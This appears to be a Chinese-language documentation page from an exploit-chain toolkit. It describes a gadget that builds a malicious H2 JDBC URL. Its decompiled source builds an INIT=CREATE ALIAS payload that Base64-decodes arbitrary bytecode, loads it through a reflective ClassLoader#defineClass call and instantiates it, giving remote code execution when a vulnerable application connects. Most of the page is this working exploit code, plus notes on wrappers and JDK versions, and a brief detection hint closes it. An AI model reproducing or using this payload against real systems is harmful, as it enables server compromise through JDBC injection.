Skip to content

Latest commit

 

History

History
59 lines (45 loc) · 3.91 KB

File metadata and controls

59 lines (45 loc) · 3.91 KB

H2 JDBC URL Java加载任意字节码1(H2JavaJdbc1)

  • 类别common 别名:— 优先级:30
  • 作者:—
  • 依赖com.h2database:h2:org.h2.Driver
  • 实现Gadget

作用

把内层字节码编码进 H2 INIT=CREATE ALIAS JDBC URL,并在建连时反射定义类。

链接标签

  • 入口 tagsH2JdbcUrlJdbcUrlChains
  • 衔接 nextTagsBytecodeConvertTag
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public String getObject(byte[] bytecode) {
        String b64Bytecode = Base64.encodeBase64String((byte[])bytecode);
        String funcionName = "a_" + CommonUtil.generateRandomString();
        return "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '@SuppressWarnings(\"unchecked\")String shellexec(String abc) throws java.lang.Exception{byte[] standBytes=null\\;String tomcatStr=\"" + b64Bytecode + "\"\\;try {java.lang.Class base64 = java.lang.Class.forName(\"java.util.Base64\")\\;java.lang.Object decoder = base64.getMethod(\"getDecoder\", new Class[0]).invoke(null, new Object[0])\\;standBytes = (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, tomcatStr)\\;} catch (java.lang.Exception var6) {java.lang.Class base64 = java.lang.Class.forName(\"sun.misc.BASE64Decoder\")\\;java.lang.Object decoder = base64.newInstance()\\;standBytes = (byte[]) decoder.getClass().getMethod(\"decodeBuffer\", String.class).invoke(decoder, tomcatStr)\\;}java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",byte[].class,int.class,int.class)\\;defineClassMethod.setAccessible(true)\\;java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\\;myclass.newInstance()\\;return \"test\"\\;}'\\;CALL a_Lj('123')";
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        byte[] bytecode = (byte[])chain.doCreate(context);
        context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
        return this.getObject(bytecode);
    }

invoke()chain.doCreate(context) 取内层 byte[],然后把 org.h2.Driver 写入 DRIVER_CLASS_NAME_KEY

getObject(byte[]) 将字节码 Base64 编码,生成随机 alias 名,拼入 H2 INIT=CREATE ALIAS ...;CALL ...。Alias 方法里优先尝试 java.util.Base64,失败后回退到 sun.misc.BASE64Decoder,再通过 ClassLoader#defineClass(byte[], int, int) 定义并实例化类。

该 gadget 的输出是 JDBC URL 字符串,因此可被 HikariJdbcAttackDruidJdbcAttackTomcatDbcp2JdbcAttack 等 DataSource/JNDI 包装器消费,也可在 OtherPayload 场景直接使用。

参数(@Param)

本类无 @Param,运行时输入来自链上下文或内层 gadget。

适用版本与原理要点

  • 注解描述:适用于jdbc rce场景,通过H2执行任意Java代码,Base64解码逻辑采用了高度兼容写法,Payload较大,本链实现了加载任意字节码 已优化该Payload:vulhub/java-chains#24
  • 依赖条件:com.h2database:h2:org.h2.Driver
  • 依赖 H2 driver;Base64 解码兼容 JDK 8 前后,但反射打开 ClassLoader#defineClass 在更高 JDK/模块策略下可能受限制。
  • 可衔接下一环:BytecodeConvertTag

防御与检测

关注 H2 URL 中 TRACE_LEVEL_SYSTEM_OUTINIT=CREATE ALIAS、内嵌 Base64 长串、defineClass 字符串。

所属预设链

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。